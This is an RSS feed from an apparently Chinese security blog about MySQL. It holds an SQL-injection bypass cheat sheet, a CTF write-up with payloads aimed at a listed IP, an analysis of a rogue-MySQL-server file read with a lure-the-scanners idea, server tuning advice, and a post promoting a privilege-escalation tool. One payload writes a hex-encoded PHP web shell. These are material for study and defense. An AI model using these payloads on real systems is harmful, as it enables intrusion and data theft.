<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>mysql &#8211; ChaBug安全</title>
	<atom:link href="/tags/mysql/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Tue, 27 Aug 2019 02:03:18 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>SQL注入tips总结</title>
		<link>/web/869.html</link>
		
		<dc:creator><![CDATA[s1ye]]></dc:creator>
		<pubDate>Thu, 22 Aug 2019 16:00:57 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[注入]]></category>
		<guid isPermaLink="false">/?p=869</guid>

					<description><![CDATA[过滤单引号 过滤了单引号可以利用以下几种方法绕过。 1. 整数型注入 整数型注入就不用多废话了，只有在判断表名和列名的时候需要用到单引号，但是可以利用char函数和16进制绕过。利...]]></description>
										<content:encoded><![CDATA[<p><strong>过滤单引号</strong></p>
<blockquote><p>
  过滤了单引号可以利用以下几种方法绕过。
</p></blockquote>
<pre><code class="">1. 整数型注入
  整数型注入就不用多废话了，只有在判断表名和列名的时候需要用到单引号，但是可以利用char函数和16进制绕过。利用sql语句写入文件的时候也可以利用16进制，因为mysql会将16进制解析。
2. 字符型注入
  gbk编码，另外可以根据具体的waf/ips规则进行bypass，比如dedecms中的全局过滤ips绕过方式。
</code></pre>
<p><strong>过滤select</strong></p>
<blockquote><p>
  其实过滤了select基本无解，起码在我这个菜逼眼里是这样的，但是也要考虑特殊情况。比如今年的强网杯的一道题目，虽然过滤了select但是可以堆叠查询，因此有了绕过的方法。
</p></blockquote>
<pre><code class="">//用到的语句
set语句可用于向系统变量或用户变量赋值。 eg: SET @s1ye=test;
PREPARE stmt_name FROM preparable_stmt 定义预处理语句，它将包含占位符(?)的查询传递给MySQL服务器。
EXECUTE stmt_name  执行预处理语句
</code></pre>
<p><strong>过滤逗号</strong></p>
<blockquote>
<ol>
<li>盲注：
<p>  利用from 1 for 1</p>
</li>
<li>
<p>可回显<span class="wpcom_tag_link"><a href="/tags/%e6%b3%a8%e5%85%a5" title="注入" target="_blank">注入</a></span>：</p>
<p>  利用 A join B</p>
</li>
<li>
<p>使用like：</p>
<p>  select user() like &#8216;r%&#8217;;</p>
</li>
<li>
<p>limit时的利用方法在下面limit部分。</p>
</li>
</ol>
</blockquote>
<pre><code class="">A join B:
  INNER JOIN（内连接,或等值连接）：获取两个表中字段匹配关系的记录。
  LEFT JOIN（左连接）：获取左表所有记录，即使右表没有对应匹配的记录。
  RIGHT JOIN（右连接）： 与 LEFT JOIN 相反，用于获取右表所有记录，即使左表没有对应匹配的记录。
  用法就很简单了，我们用的到第一种方法，INNER可以省略，效果一样。
  eg: select a.name,b.password from users a join passwd n;
  在回显注入下使用：
  ?id=-1 union select * from ((select 1)a join (select 2)b join (select 3)c join (select 4)d)
</code></pre>
<p><img src="/wp-content/uploads/2019/08/gk9VhIAFly3sJqv-1.png" alt="" /></p>
<pre><code class="">from 1 for 1:
  没啥好说的直接看例子，eg
  ?id=-1 union select 1,2,ascii(substr((database()) from 1 for 1))='r'--+
</code></pre>
<p><img src="/wp-content/uploads/2019/08/ayWKlr7LNjuhGZP-1.png" alt="" /></p>
<pre><code class="">"like" eg:(tablename=name)
  select * from name where id =1 and (select group_concat(table_name) from information_schema.tables where table_schema=database()) like 'n%';
</code></pre>
<p><img src="/wp-content/uploads/2019/08/iWAKuaLYeOyVmGr-1.png" alt="" /></p>
<p><strong>比较符号绕过</strong></p>
<blockquote>
<ol>
<li>between a and b：返回a，b之间的数据，不包含b。</li>
<li>greatest()、least()：（前者返回最大值、后者返回最小值）</li>
</ol>
<p>  ​       eg: select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64</p>
<p>  ​       所以上述语句就是与64比较，当页面正常返回时说明真实的ascii码小于或等于64，继续fuzz即可。
</p></blockquote>
<p><strong>等号绕过</strong></p>
<blockquote><p>
  可以使用like、rlike、regexp 或者&lt;>。盲注时也可以利用运算符，^、+、-等，观察返回结果与页面变化即可，举一反三灵活运用。
</p></blockquote>
<p><strong>order by 注入</strong></p>
<blockquote><p>
  利用oder by盲注的话看文章：</p>
<blockquote class="wp-embedded-content" data-secret="lwt9Za74Y7"><p><a href="/ctf/852.html">一道题引发的无列名注入</a></p></blockquote>
<p><iframe title="《一道题引发的无列名注入》—ChaBug安全" class="wp-embedded-content" sandbox="allow-scripts" security="restricted" style="position: absolute; clip: rect(1px, 1px, 1px, 1px);" src="/ctf/852.html/embed#?secret=lwt9Za74Y7" data-secret="lwt9Za74Y7" width="500" height="282" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>
</p></blockquote>
<pre><code class="">注入点在order by 后的盲注
1. if（条件语句）
  ?order=if((1=1),sleep(3),1)
2. 直接and if
  看图
3. rand()盲注：
  order by rand(true); order by rand(false);
</code></pre>
<p><img src="/wp-content/uploads/2019/08/Y3vAzH9MoQeR2VN-1.png" alt="" /></p>
<pre><code class="">注入点在order by 后的报错注入:
1. 利用procedure存储过程
2. XPATH
   select * from name order by extractvalue(1,concat('~',database(),'~'));
</code></pre>
<p><img src="/wp-content/uploads/2019/08/F91ytp4IqloZCun-1.png" alt="procedure" /></p>
<p><img src="/wp-content/uploads/2019/08/Wlat7GgPsTb93pz-1.png" alt="" /></p>
<pre><code class="">#利用LINES TERMINATED BY方式getshell
   ?order=1 limit 0,1 into outfile '/tmp/2.php' LINES TERMINATED BY 0x3C3F7068702061737365727428245F504F53545B70765D293B3F3E
</code></pre>
<p><strong>limit注入</strong></p>
<pre><code class="">注入点在limit后的注入：
  同样的利用procedure存储过程 （https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html）
看文章就可以了
</code></pre>
<pre><code class="">如果注入中需要用到limit但是又过滤了逗号，可以利用以下方法。
select * from users limit 0,1;
# 等价于↓
select * from users limit 1 offset 0;
</code></pre>
<p><strong>盲注带外</strong></p>
<blockquote><p>
  直接看文章，利用dnslog带外的话需要一些权限，比如必须有FILE权限、secure_file_priv为空而不是NULL（不为空就只能读限定目录的文件）</p>
<p>  <a href="http://lawlietweb.com/2018/06/30/dnslogsqli/">chabug一位师傅的文章</a>
</p></blockquote>
<p><strong>substr替换</strong></p>
<pre><code class="">mid,left,right,substring,lpad,rpad等
</code></pre>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>一道题引发的无列名注入</title>
		<link>/ctf/852.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 22 Aug 2019 14:37:20 +0000</pubDate>
				<category><![CDATA[CTF笔记]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[列名]]></category>
		<category><![CDATA[子查询]]></category>
		<category><![CDATA[注入]]></category>
		<category><![CDATA[盲注]]></category>
		<guid isPermaLink="false">/?p=852</guid>

					<description><![CDATA[@Syst1m的考核题 题目地址 http://152.136.179.79:18084/ 传入id=3为flag的id。 常规联合查询注入 http://152.136.179....]]>/</description>
										<content:encoded><![CDATA[<p>@Syst1m的考核题</p>
<p>题目地址 http://152.136.179.79:18084/ 传入id=3为flag的id。</p>
<p>常规联合查询<span class="wpcom_tag_link"><a href="/tags/%e6%b3%a8%e5%85%a5" title="注入" target="_blank">注入</a></span></p>
<pre><code class="">http://152.136.179.79:18084/?id=3 union select 1,2,3
</code></pre>
<p>三个字段</p>
<pre><code class="">http://152.136.179.79:18084/?id=3 union select 1,2,(select table_name from information_schema.tables where table_schema=database())
</code></pre>
<p>拿到flag所在的表，继续查<span class="wpcom_tag_link"><a href="/tags/%e5%88%97%e5%90%8d" title="列名" target="_blank">列名</a></span></p>
<pre><code class="">http://152.136.179.79:18084/?id=3 union select 1,2,(select column_name from information_schema.columns where table_name='this_1s_th3_fiag_tab13')
</code></pre>
<p>死活查不出来，应该是过滤了column关键字，没有列名怎么查出来数据呢？？？</p>
<p>有两种方法<br />
1. order by<span class="wpcom_tag_link"><a href="/tags/%e7%9b%b2%e6%b3%a8" title="盲注" target="_blank">盲注</a></span><br />
2. <span class="wpcom_tag_link"><a href="/tags/%e5%ad%90%e6%9f%a5%e8%af%a2" title="子查询" target="_blank">子查询</a></span></p>
<p>本地测试建表</p>
<p><img src="https://y4er.com/img/uploads/20190822205338.png" alt="20190822205338" /></p>
<p><img src="/wp-content/uploads/2019/08/20190822205621.png" alt="20190822205621" /></p>
<h1>order by盲注</h1>
<p>order by用于根据指定的列对结果集进行排序。一般上是从0-9a-z这样排序，不区分大小写。</p>
<p>先来本地测试一下</p>
<p><img src="/wp-content/uploads/2019/08/20190822210044.png" alt="20190822210044" /></p>
<p>可以看到我们构造的数据排在了第一行</p>
<p><img src="/wp-content/uploads/2019/08/20190822210124.png" alt="20190822210124" /></p>
<p>仍然在第一行</p>
<p><img src="/wp-content/uploads/2019/08/20190822210155.png" alt="20190822210155" /></p>
<p>当拿&#8217;q&#8217;和&#8217;pass&#8217;做比较时，我们构造的数据被排在了第二行。由此可以来根据不同的回显来逐位判断。</p>
<p>拿我们这道题来说</p>
<p><img src="/wp-content/uploads/2019/08/20190822210915.png" alt="20190822210915" /></p>
<p>1的时候我们的数据在前</p>
<p><img src="/wp-content/uploads/2019/08/20190822210948.png" alt="20190822210948" /></p>
<p>2的时候原始数据在前，说明第一位是1</p>
<p>然后判断第二位</p>
<p><img src="/wp-content/uploads/2019/08/20190822211104.png" alt="20190822211104" /></p>
<p>1a的时候我们的数据在前</p>
<p><img src="/wp-content/uploads/2019/08/20190822211144.png" alt="20190822211144" /></p>
<p>1b的时候原始数据在前，说明第二位是1a</p>
<p>由此逐位判断。</p>
<h1>子查询</h1>
<p>在无列名的情况下，用子查询可以很简单的将数据跑出来。</p>
<p>子查询是将一个查询语句嵌套在另一个查询语句中。在特定情况下，一个查询语句的条件需要另一个查询语句来获取，内层查询（inner query）语句的查询结果，可以为外层查询（outer query）语句提供查询条件。</p>
<p><img src="/wp-content/uploads/2019/08/20190822214132.png" alt="20190822214132" /></p>
<p><strong>这个语句将列名转换为了1,2,3</strong>，这个时候列名就已知了，我们可以用子查询将数据归并。</p>
<p><img src="/wp-content/uploads/2019/08/20190822214824.png" alt="20190822214824" /></p>
<p>此时就能查出来数据了，然后我们再来看这个题。</p>
<p>我们已知了表名为<code>this_1s_th3_fiag_tab13</code>，但是不知道这个表有几个字段</p>
<p><img src="/wp-content/uploads/2019/08/20190822220530.png" alt="20190822220530" /></p>
<p>可以用联合查询的方式来判断字段数。</p>
<p>查出数据</p>
<p><img src="/wp-content/uploads/2019/08/20190822220706.png" alt="20190822220706" /></p>
<p>拿到我们这个题里来</p>
<p><img src="/wp-content/uploads/2019/08/20190822220930.png" alt="20190822220930" /></p>
<p>payload</p>
<pre><code class="">http://152.136.179.79:18084/?id=3 union select 1,2,x.2 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from this_1s_th3_fiag_tab13)x
</code></pre>
<p>子查询真是个好东西👍</p>
<h1>写在文后</h1>
<p>本文介绍了两种无列名注入的方式，很巧妙的在没有列名的情况下查出来数据，在实际利用中更推荐用子查询的方式，毕竟盲注有可能费力不讨好。</p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>任意读取MySQL链接客户端文件</title>
		<link>/web/622.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 15 Dec 2018 13:11:18 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[mysql]]></category>
		<guid isPermaLink="false">/?p=622</guid>

					<description><![CDATA[原文：lightless师傅 这应该是一个比较老的问题了，前几天看到其他人聊到这个问题，拿出来分析一下。 简单的讲，就是我们可以伪造一个 MySQL 的服务端，甚至不需要实现 My...]]></description>
										<content:encoded><![CDATA[<p>原文：<a href="https://lightless.me/archives/read-mysql-client-file.html" target="_blank" rel="noopener">lightless师傅</a></p>
<p>这应该是一个比较老的问题了，前几天看到其他人聊到这个问题，拿出来分析一下。</p>
<p>简单的讲，就是我们可以伪造一个 MySQL 的服务端，甚至不需要实现 MySQL 的任何功能（除了向客户端回复 greeting package），当有客户端连接上这个假服务端的时候，我们就可以任意读取客户端的一个文件，当然前提是运行客户端的用户具有读取该文件的权限。</p>
<p>在复现的时候，有些地方踩到了一些坑，原作者没有说明，特此记录一下。</p>
<p>&nbsp;</p>
<h2>0x00 LOAD DATA INFILE</h2>
<p>这个问题主要是出在<code>LOAD DATA INFILE</code>这个语法上，这个语法主要是用于读取一个文件的内容并且放到一个表中。通常有两种用法，分别是：</p>
<pre class="lang:default decode:true ">load data infile "/data/data.csv" into table TestTable;
load data local infile "/home/lightless/data.csv" into table TestTable;</pre>
<p>&nbsp;</p>
<p>有时候也会与<code>FIELDS TERMINATED BY '\n'</code>一起使用，效果更佳。这两种用法的区别就是差了一个<code>local</code>，第一个 SQL 语句的意思是，读取服务器上<code>/data/data.csv</code>文件，并写入到<code>TestTable</code>中；第二个 SQL 语句的意思则是，读取本地（客户端）这边的<code>/home/lightless/data.csv</code>文件，并写入到<code>TestTable</code>中。而我们这次要利用的也就是<code>LOAD DATA LOCAL INFILE</code>这种形式。</p>
<p>通过查阅 MySQL 的官方文档，在文档上，官方也指出了这个语法的问题：</p>
<p><img src="http://static.zybuluo.com/lightless/2bsdse1b1cf6g999bhhcyz9y/image.png" alt="image.png-100kB" /></p>
<p>那么接下来，我们来看下如何构造一个恶意的 MySQL 服务端来读取客户端的文件。</p>
<p>&nbsp;</p>
<h2>Capture The Package</h2>
<p>如果想构造这样的服务端，首先要搞明白 MySQL 的交互流程，测试环境如下：</p>
<ul>
<li>Ubuntu 18.04</li>
<li>MySQL 官方 APT 仓库安装的 5.7.23</li>
</ul>
<p>通过 Wireshark 抓取 3306 端口的数据包，一开始发现 MySQL 的数据包全部走了 SSL 通信。</p>
<p><img src="http://static.zybuluo.com/lightless/awvtos2oyc1i9g2rr262dwjl/image.png" alt="image.png-245.9kB" /></p>
<p>仅有一开始的两个 MySQL 的包，后面全是 SSL 数据了，这样也就没法搞明白是怎么读客户端文件的了。我们需要把 SSL 关掉，只需要关闭 MySQL Client 端的 SSL 即可，在配置文件的<code>[<span class="wpcom_tag_link"><a href="/tags/mysql" title="mysql" target="_blank">mysql</a></span>]</code>节添加<code>skip_ssl</code>（或者关掉服务端的 SSL 支持也可以）：</p>
<p><img src="http://static.zybuluo.com/lightless/z6p20wk7in99gmcsoi898z6z/image.png" alt="image.png-3.4kB" /></p>
<p>这样 Wireshark 中就可以抓到正常的数据包了。会发现一共有这样几步：</p>
<ol>
<li>greeting 包，获取服务端的 banner；<br />
<img src="http://static.zybuluo.com/lightless/ulynn1t38gqamy3yv2b66o1e/image.png" alt="image.png-201.9kB" /></li>
<li>登录请求包；<br />
<img src="http://static.zybuluo.com/lightless/d40nhjhjtzgji9qfpwluqtbo/image.png" alt="image.png-254.5kB" /></li>
<li>初始化的一些查询，比如<code>select @@version_comment limit 1</code>之类的；<br />
<img src="http://static.zybuluo.com/lightless/jg7tlbs1owu9456k397wrku1/image.png" alt="image.png-192.8kB" /></li>
</ol>
<p>接下来我们找到关键的<code>LOAD DATA INFILE</code>数据包，第一个包看起来比较正常，是客户端发起的<code>Request Query</code>，如果你无法使用<code>LOAD DATA INFILE</code>语法的话，考虑在连接 MySQL 的时候加上<code>--enable-local-infile</code>选项，或者设置<code>local_infile</code>全局变量为<code>ON</code></p>
<p><img src="http://static.zybuluo.com/lightless/m6ykmrr6uhbyn95stfmep5l1/image.png" alt="image.png-206.7kB" /></p>
<p>但是紧接着，服务端回复了一个包含刚刚请求中文件名的包，这里把<code>/etc/passwd</code>又给发回去了：</p>
<p><img src="http://static.zybuluo.com/lightless/6wa5a2am98mm71nmk7w7w11x/image.png" alt="image.png-203.5kB" /></p>
<p>然后客户端向服务端发送了<code>/etc/passwd</code>文件的内容：</p>
<p><img src="http://static.zybuluo.com/lightless/m7uvvljpyee3eavzhke3d8aq/image.png" alt="image.png-241kB" /></p>
<p>看到这里，也许开始有点想法了，如果我们在客户端发送查询之后，返回一个<code>Response TABULAR</code>数据包，并附上我们指定的文件，是不是就可以读取客户端的文件了，答案是肯定的。正如官方文档中提出的安全风险，&#8221;In theory, a patched server could be built that would tell the client program to transfer a file of the server&#8217;s choosing rather than the file named by the client in the LOAD DATA statement.&#8221;，可以看到，客户端读取哪个文件其实并不是自己说了算的，是服务端说了算的，形象一点的说就是下面这个样子：</p>
<ul>
<li>客户端：hi~ 我将把我的 data.csv 文件给你插入到 test 表中！</li>
<li>服务端：OK，读取你本地 data.csv 文件并发给我！</li>
<li>客户端：这是文件内容：balabal！</li>
</ul>
<p>正常情况下，这个流程不会有什么问题，但是如果我们制作了恶意的客户端，并且回复服务端任意一个我们想要获取的文件，那么情况就不一样了。</p>
<ul>
<li>客户端：hi~ 我将把我的 data.csv 文件给你插入到 test 表中！</li>
<li>服务端：OK，读取你本地的 / etc/passwd 文件并发给我！</li>
<li>客户端：这是文件内容：balabal（/etc/passwd 文件的内容）！</li>
</ul>
<p>看到这里可能有同学会问，“即便可以读任意文件，那也要等到客户端发起 LOAD DATA INFILE” 的时候才能回复呀！如果你刚才仔细阅读官方文档上的安全风险的话，会发现有这么一句：&#8221;A patched server could in fact reply with a file-transfer request to any statement, not just LOAD DATA LOCAL&#8221;</p>
<p>伪造的服务端可以在任何时候回复一个 file-transfer 请求，不一定非要是在<code>LOAD DATA LOCAL</code>的时候。这里有一点要说明的是，如果想要利用此特性，客户端必须具有 CLIENT_LOCAL_FILES 属性，这一点也会在下文提到的官方数据包格式文档中有所说明，这也是为什么在前面测试的时候需要添加<code>--enable-local-infile</code>的原因。</p>
<p><a name="_label2"></a></p>
<h2>0x02 Pseudo Server</h2>
<p>那么我们现在可以开始制作我们的服务端了，主要是以下几个步骤：</p>
<ol>
<li>向 MySQL Client 发送<code>Server Greeting</code></li>
<li>等待 Client 端发送一个<code>Query Package</code></li>
<li>回复一个<code>file transfer</code>请求</li>
</ol>
<p>现在要解决的就是两个问题，分别是<code>Server Greeting</code>包和<code>file transfer</code>包的格式，不过也不难，这些包的格式都可以在 MySQL 的官方文档上找到，首先来看<code>File Transfer</code>的包格式，<a href="https://dev.mysql.com/doc/internals/en/com-query-response.html" target="_blank" rel="noopener">Protocol::LOCAL_INFILE_Request</a>，这幅图也可以发现，我们需要等待一个来自 Client 的查询请求，才能回复这个读文件的请求</p>
<p><img src="http://static.zybuluo.com/lightless/mn83qaiy3uf3zjdjmr0eqlnj/image.png" alt="image.png-10.3kB" /></p>
<p>官方文档上还贴心的准备了一个 Example：</p>
<pre class="lang:default decode:true ">0c 00 00 01 fb 2f 65 74    63 2f 70 61 73 73 77 64    ...../etc/passwd</pre>
<p>&nbsp;</p>
<p>数据包的内容其实是从<code>\xfb</code>开始的，这个字节代表包的类型，后面紧跟要读取的文件名。前面的<code>0x0c</code>是数据包的长度（从 \ xfb 开始计算），长度后面的三个字节<code>\x00\x00\x01</code>是数据包的序号。</p>
<p>同理，我们很容易就能根据<a href="https://dev.mysql.com/doc/internals/en/connection-phase-packets.html#packet-Protocol::Handshake" target="_blank" rel="noopener">这份文档</a>获取<code>Greeting</code>的数据包结构。如果感觉自己伪造比较困难的话，可以直接提取前面通过 Wireshark 抓到的包，修改一下长度、文件名之类的字节即可。</p>
<p>这里给一个<code>Greeting</code>包的样例，每个字段的作用均已表明，参考文档不难理解。</p>
<pre class="lang:default decode:true ">'\x0a',  # Protocol
'6.6.6-lightless_Mysql_Server' + '\0',  # Version
'\x36\x00\x00\x00',  # Thread ID
'ABCDABCD' + '\0',  # Salt
'\xff\xf7',  # Capabilities, CLOSE SSL HERE!
'\x08',  # Collation
'\x02\x00',  # Server Status
"\x0f\x80\x15", 
'\0' * 10,  # Unknown
'ABCDABCD' + '\0',
"mysql_native_password" + "\0"</pre>
<p>&nbsp;</p>
<p>接下来就是动手写 PoC 了，如果不想自己动手，可以参考 “参考文档” 中的 PoC。</p>
<blockquote><p>一开始构造好的时候，用客户端去连接，总是提示 ERROR 2026 (HY000): SSL connection error: protocol version mismatch 或者 ERROR 2027 (HY000): Malformed packet。如果你在构造 PoC 的时候也出现了这种问题，很大可能是握手包构造的有问题，对照文档仔细检查。客户端默认是支持 SSL 的，服务端需要告诉客户端服务端不支持，我通过两次分别抓 “服务端支持 SSL” 和“服务端不支持 SSL”的包进行比对，再参考文档，找到了关闭 SSL 的方法，就是<code>Capabilities</code>这两个字节，\xf7 则表示不支持 SSL，如果不明白，抓个包比对一下就懂了。</p></blockquote>
<p>仔细观察下图中的各种字段，避免踩坑。<br />
<img src="http://static.zybuluo.com/lightless/z1xnpfb7jvy0udruog45yhck/image.png" alt="image.png-217.9kB" /></p>
<p>&nbsp;</p>
<h2>Exploit it!</h2>
<h3>a. MySQL Client</h3>
<p>使用 MySQL Client 进行测试，效果拔群：<br />
<img src="http://static.zybuluo.com/lightless/w30172cprefai0i1sm8ziz2u/image.png" alt="image.png-210.8kB" /></p>
<p>&nbsp;</p>
<h3>b. PHP with mysqli</h3>
<p><code>PHP</code>通过<code>mysqli</code>连接恶意数据库，效果拔群：<br />
<img src="http://static.zybuluo.com/lightless/c1vwqivn0ull8cr4ww2t26h8/image.png" alt="image.png-190.8kB" /></p>
<p><img src="http://static.zybuluo.com/lightless/s4omf5748v263hd1v4b651vr/image.png" alt="image.png-132.3kB" /></p>
<p>&nbsp;</p>
<h3>c. PHP with PDO</h3>
<p>默认未开启<code>MYSQL_ATTR_LOCAL_INFILE</code>属性，需要手工开启才可以以。</p>
<p><img src="http://static.zybuluo.com/lightless/tbvn556xfsmzq9zoewxevqm3/image.png" alt="image.png-113kB" /></p>
<p><img src="http://static.zybuluo.com/lightless/ba7uk11bnyxqinmdqi2gpa96/image.png" alt="image.png-143.4kB" /></p>
<p>&nbsp;</p>
<h3>d. Python with MySQLdb</h3>
<p>原作者说无效，但是我测试了一下，效果拔群。</p>
<p><img src="http://static.zybuluo.com/lightless/797yqpyc5fqjrj7kbjwwear3/image.png" alt="image.png-55.7kB" /></p>
<p><img src="http://static.zybuluo.com/lightless/dzcc7iggfcmdyiwnuroxa7y9/image.png" alt="image.png-126.6kB" /></p>
<p>&nbsp;</p>
<h3>e. Python3 with mysqlclient</h3>
<p>效果拔群。</p>
<p><img src="http://static.zybuluo.com/lightless/m4uio3iyxn63zbzpyzxbwd34/image.png" alt="image.png-56.9kB" /></p>
<p>&nbsp;</p>
<h3>f. Java with JDBC Driver</h3>
<p>效果拔群。</p>
<p><img src="http://static.zybuluo.com/lightless/9bgxo0qos3qnmof3k1pnhd6z/image.png" alt="image.png-130.1kB" /></p>
<p><img src="http://static.zybuluo.com/lightless/lpuw3fiz157psbtf6csqjmgx/image.png" alt="image.png-176.3kB" /></p>
<p><img src="http://static.zybuluo.com/lightless/pd1jczol0zubkom0tusly18r/image.png" alt="image.png-115.4kB" /></p>
<p>&nbsp;</p>
<h3>z. Others</h3>
<p>其他语言各位可以自行测试。</p>
<p>&nbsp;</p>
<h2>Defense And Thinking</h2>
<p>对于这种攻击的防御，说起来比较简单，首先一点就是客户端要避免使用 LOCAL 来读取本地文件。但是这样并不能避免连接到恶意的服务器上，如果想规避这种情况，可以使用<code>--ssl-mode=VERIFY_IDENTITY</code>来建立可信的连接。</p>
<p>当然最靠谱的方式还是要从配置文件上根治，关于配置上的防御问题，可以参考<a href="https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html" target="_blank" rel="noopener">这篇文档</a>进行设置。</p>
<p>用途的话，做蜜罐是肯定可以的，但是受众面好像不太完整，各种语言的支持都不太一样，比如 Python 中的 MySQLdb 包，原作者说这个包不受影响，但是我测试的时候确是受影响的，而 PHP+PDO 的方式又不受影响，所以能否中招还是要靠一些运气。</p>
<p>而且这些语言中的三方包在连接<code>MySQL</code>的时候，基本上在连接成功之后都会发出一下<code>SELECT</code>语句来查询一些版本号、编码之类的数据，这就达成了前面提到过的第二个攻击条件：等待客户端发来一个<code>QUERY</code>请求，所以如果这些第三方包允许执行<code>LOAD DATA INFILE</code>，危害还是比较大的。</p>
<h2>参考文档</h2>
<ul>
<li><a href="http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/" target="_blank" rel="noopener">http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/</a></li>
</ul>
<h2>拓展猥琐思路</h2>
<p>各大厂商做了GitHub的代码监控，把我们的恶意MySQL配置信息和各大厂商的特征码放GitHub上，自然有厂商的扫描器光临&#8230;</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>MySQL服务一直挂掉的解决方法</title>
		<link>/safeprotect/480.html</link>
					<comments>/safeprotect/480.html#comments</comments>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Mon, 30 Jul 2018 05:22:56 +0000</pubDate>
				<category><![CDATA[安全运维]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[服务]]></category>
		<guid isPermaLink="false">/?p=480</guid>

					<description><![CDATA[这两天网站一直出现 Error establishing a database connection 登录服务器一看发现是MySQL服务挂了，这已经出现了好几次。今天我非得解决他不...]]></description>
										<content:encoded><![CDATA[<p><a href="https://dn-sdkcnssl.qbox.me/article/oSOqg0wB8ixn7TZ0gEJW.png"><img loading="lazy" class="aligncenter size-medium" src="https://dn-sdkcnssl.qbox.me/article/oSOqg0wB8ixn7TZ0gEJW.png" width="1280" height="662" /></a></p>
<p>这两天网站一直出现</p>
<h1>Error establishing a database connection</h1>
<p>登录<span class="wpcom_tag_link"><a href="/tags/%e6%9c%8d%e5%8a%a1" title="服务" target="_blank">服务</a></span>器一看发现是MySQL服务挂了，这已经出现了好几次。今天我非得解决他不可。</p>
<p>&nbsp;</p>
<p>先看下日志</p>
<pre class="lang:default decode:true">130728  6:50:14 [Note] Plugin 'FEDERATED' is disabled.
130728  6:50:14 InnoDB: The InnoDB memory heap is disabled
130728  6:50:14 InnoDB: Mutexes and rw_locks use GCC atomic builtins
130728  6:50:14 InnoDB: Compressed tables use zlib 1.2.3.4
130728  6:50:14 InnoDB: Initializing buffer pool, size = 128.0M
InnoDB: mmap(137363456 bytes) failed; errno 12
130728  6:50:14 InnoDB: Completed initialization of buffer pool
130728  6:50:14 InnoDB: Fatal error: cannot allocate memory for the buffer pool
130728  6:50:14 [ERROR] Plugin 'InnoDB' init function returned error.
130728  6:50:14 [ERROR] Plugin 'InnoDB' registration as a STORAGE ENGINE failed.
130728  6:50:14 [ERROR] Unknown/unsupported storage engine: InnoDB
130728  6:50:14 [ERROR] Aborting
130728  6:50:14 [Note] /usr/sbin/mysqld: Shutdown complete</pre>
<p>百度了一波，发现是因为MySQL5.5占用内存太大，然后服务器撑不住就挂了。我也是无奈脸，MySQL也欺负穷人。</p>
<p>&nbsp;</p>
<p>解决方法：</p>
<p>修改my.ini</p>
<pre class="lang:default decode:true">innodb_buffer_pool_size = 64M</pre>
<p>根据自己服务器的性能来配置MySQL的性能，太小网站卡，太大服务挂。你明白我意思吧？</p>
<p>如果可以的话你需要设置下swap分区。因为我的vps是没有swap分区的，通过fdisk -l 和 1mount 看不到swap的信息，需要手动添加一下。</p>
<p>添加swap分区的步骤：</p>
<pre class="lang:default decode:true">2.1) dd if=/dev/zero of=/swapfile bs=1M count=1024
2.2) mkswap /swapfile
2.3) swapon /swapfile
2.4) 添加这行： /swapfile swap swap defaults 0 0 到 /etc/fstab</pre>
<p>重启MySQL服务。</p>
<p>&nbsp;</p>
<p>这两天再观察观察会不会挂了。</p>
]]></content:encoded>
					
					<wfw:commentRss>/safeprotect/480.html/feed</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
		<item>
		<title>Python_FuckMySQL MySQL提权辅助工具</title>
		<link>/tools/397.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 14 Apr 2018 11:06:07 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[工具]]></category>
		<category><![CDATA[提权]]></category>
		<category><![CDATA[数据库]]></category>
		<guid isPermaLink="false">/?p=326</guid>

					<description><![CDATA[https://github.com/v5est0r/Python_FuckMySQL python-promoting-privileges 1.自动导出你的backdoor和m...]]></description>
										<content:encoded><![CDATA[<blockquote><p><a href="https://github.com/v5est0r/Python_FuckMySQL">https://github.com/v5est0r/Python_FuckMySQL</a></p></blockquote>
<h1>python-promoting-privileges</h1>
<p>1.自动导出你的backdoor和mof文件，</p>
<p>2.自动判断<span class="wpcom_tag_link"><a href="/tags/mysql" title="mysql" target="_blank">mysql</a></span>版本，根据版本不同导出UDF的DLL到不同目录，UDF<span class="wpcom_tag_link"><a href="/tags/%e6%8f%90%e6%9d%83" title="提权" target="_blank">提权</a></span></p>
<p>3.导出LPK.dll文件，劫持系统目录提权</p>
<p>4.写启动项提权</p>
